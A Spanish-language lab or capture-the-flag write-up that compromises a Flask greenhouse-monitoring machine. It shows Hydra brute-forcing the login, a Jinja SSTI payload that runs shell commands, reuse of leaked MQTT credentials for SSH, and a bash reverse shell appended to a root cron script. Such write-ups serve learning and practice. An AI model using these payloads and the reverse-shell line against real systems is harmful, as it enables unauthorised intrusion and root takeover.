Reconocimiento
Comenzamos ubicando la dirección IP de la máquina víctima dentro de la red local, de modo que podamos delimitar el objetivo antes de enumerar sus servicios:
❯ arp-scan --interface=wlo1 --localnet
...
10.0.192.11 08:00:27:37:11:6c PCS Systemtechnik GmbH
...Con la IP confirmada, lanzamos un barrido completo de puertos TCP para descubrir la superficie de ataque. El escaneo revela tres puertos abiertos y un segundo escaneo, más dirigido, identifica los servicios y sus versiones:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.0.192.11
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
❯ nmap -sCV -p 22,80,8080 -oN 02-targeted.txt 10.0.192.11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.68 ((Unix))
8080/tcp open http Werkzeug httpd 3.1.8 (Python 3.9.25)
|_http-title: Did not follow redirect to /loginEl puerto 80 sirve la página por defecto de Apache, sin contenido aprovechable a primera vista. El interés se concentra en el puerto 8080, donde una aplicación construida sobre Werkzeug (Flask) redirige cualquier acceso hacia un formulario de inicio de sesión en /login.
Acceso a la aplicación
Al no disponer de credenciales, probamos combinaciones de un diccionario de usuarios y contraseñas contra el formulario /login. Hydra localiza rápidamente una cuenta administrativa protegida por una contraseña débil:
❯ hydra -L ~/Documents/wordlists/users.txt \
-P ~/Documents/wordlists/users.txt \
-s 8080 10.0.192.11 http-post-form \
"/login:username=^USER^&password=^PASS^:F=Usuario o contraseña incorrectos."
[8080][http-post-form] host: 10.0.192.11 login: admin password: admin123Ya autenticados, recorremos la aplicación hasta llegar a /alerts. Allí un formulario permite personalizar el mensaje de cada alerta y el propio texto de ayuda indica que admite variables Jinja como {{ sensor }}. Ese detalle es la primera pista de una posible SSTI:

Ahora bien, que un formulario ofrezca marcadores de plantilla no demuestra por sí solo una vulnerabilidad. El punto decisivo es distinto: comprobar si la aplicación evalúa como código Jinja todo el texto que enviamos en el campo mensaje_custom, incluida una expresión arbitraria elegida por nosotros.
SSTI en la vista previa de alertas
Para verificarlo, sustituimos el mensaje por una expresión Jinja que, en lugar de mostrar un dato, intenta alcanzar el módulo os y ejecutar ls -la:
{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}
Al guardar la regla, la vista previa devuelve el listado de archivos del servidor. Esto confirma la SSTI: el contenido del campo no se trata como dato, sino que se interpreta en el servidor y, en este entorno, permite ejecutar comandos con los permisos del proceso web:

Para trabajar con comodidad desde la terminal y recuperar la salida completa, replicamos la misma petición autenticada contra el endpoint /guardar_alerta. El valor de session debe corresponder a una sesión propia ya iniciada en la aplicación:
❯ curl -sS -L \
--cookie 'session=<sesión_autenticada>' \
'http://10.0.192.11:8080/guardar_alerta' \
--data-urlencode "mensaje_custom={{ cycler.__init__.__globals__.os.popen('ls -la').read() }}" \
--data-urlencode 'sensor=luz' \
--data-urlencode 'condicion=>' \
--data-urlencode 'val=4' \
--data-urlencode 'envio_de_datos=asdf' |
awk '/<div class="mensaje-ok">/{mostrar=1; next} mostrar && /<\/div>/{exit} mostrar' |
sed 's/^[[:space:]]*Regla guardada\. Vista previa: //' |
sed '/^[[:space:]]*$/d'
total 104
drwxr-xr-x 1 operador root 4096 Aug 30 13:43 .
-rwxr-xr-x 1 operador root 785 Aug 30 02:00 Dockerfile
-rwxr-xr-x 1 operador root 4009 Aug 30 04:02 app.py
-rwxr-xr-x 1 operador root 11251 Aug 30 04:09 routes.py
-rwxr-xr-x 1 operador root 26 Aug 30 13:41 user.txt
...El listado sitúa la aplicación en un entorno contenerizado —aparecen el Dockerfile y el código fuente— y confirma la presencia de user.txt. Aprovechando la ejecución de comandos, cambiamos únicamente el comando dentro de popen por cat app.py para revisar el código de la aplicación:
{{ cycler.__init__.__globals__.os.popen('cat app.py').read() }}En el resultado aparecen los valores por defecto usados para conectar con el broker MQTT:
usuario = app.config.get("MQTT_USER", "admin_invernadero")
password = app.config.get("MQTT_PASSWORD", "admin_invernadero123")
broker = app.config.get("MQTT_BROKER", "172.17.0.1")
cliente.username_pw_set(usuario, password)El mismo código revela que app.py crea la cuenta web admin con la contraseña admin123 cuando no existe, lo que explica el hallazgo previo de Hydra. Conviene notar que la vista previa codifica algunos caracteres como entidades HTML (&#34;, por ejemplo); esto solo afecta a cómo se muestra la respuesta y no impide que la expresión Jinja se evalúe en el servidor.
Las credenciales MQTT son valores de reserva definidos en el código, por lo que no prueban por sí solas qué está configurado en tiempo de ejecución. Aun así, la reutilización de contraseñas entre servicios es un patrón habitual, de modo que probamos ese mismo par de credenciales contra SSH y la autenticación resulta válida.
Acceso por SSH y enumeración local
❯ ssh admin_invernadero@10.0.192.11
admin_invernadero@10.0.192.11's password: admin_invernadero123
Welcome to Alpine!Ya dentro del sistema como admin_invernadero, iniciamos la fase de enumeración local revisando los historiales de shell. Encontramos varios intentos previos de usar find para escalar privilegios, pero el indicio realmente útil para esta ruta es la referencia a /opt/invernadero/backup_logs.sh en .ash_history. Ese historial incluye además intentos de sobrescribir el archivo; como esos comandos antiguos no demuestran nada por sí mismos, verificamos directamente el estado actual del script y sus permisos:
server1:~$ cat /opt/invernadero/backup_logs.sh
#!/bin/sh
# Ejecutado cada minuto por cron (root)
LOGDIR="/var/log/mqtt"
BACKUPDIR="/var/backups/mqtt"
...
server1:~$ ls -l /opt/invernadero/backup_logs.sh
-rwxrwxr-x 1 root admin_invernadero ... /opt/invernadero/backup_logs.shEl script pertenece a root, pero el grupo admin_invernadero —al que pertenece nuestro usuario— conserva permiso de escritura sobre él. El comentario del propio archivo indica que cron lo ejecuta cada minuto como root, lo que abre una vía de escalada evidente: cualquier código que añadamos al script se ejecutará con esos privilegios.
Escalada a root
Aprovechando ese permiso de escritura, añadimos al final del script una línea que envía una shell reversa a nuestra máquina (10.0.137.77:1234):
server1:~$ cat /opt/invernadero/backup_logs.sh
...
/bin/bash -c 'bash -i >& /dev/tcp/10.0.137.77/1234 0>&1'Dejamos un listener a la espera y, en cuanto cron ejecuta el script en el siguiente minuto, recibimos la conexión. Comprobamos el usuario efectivo de la shell recibida:
❯ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.0.192.11 39442
server1:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
server1:~# whoami
rootLa shell corre como root, con lo que la escalada queda completa y ya podemos recuperar la flag final, y fin.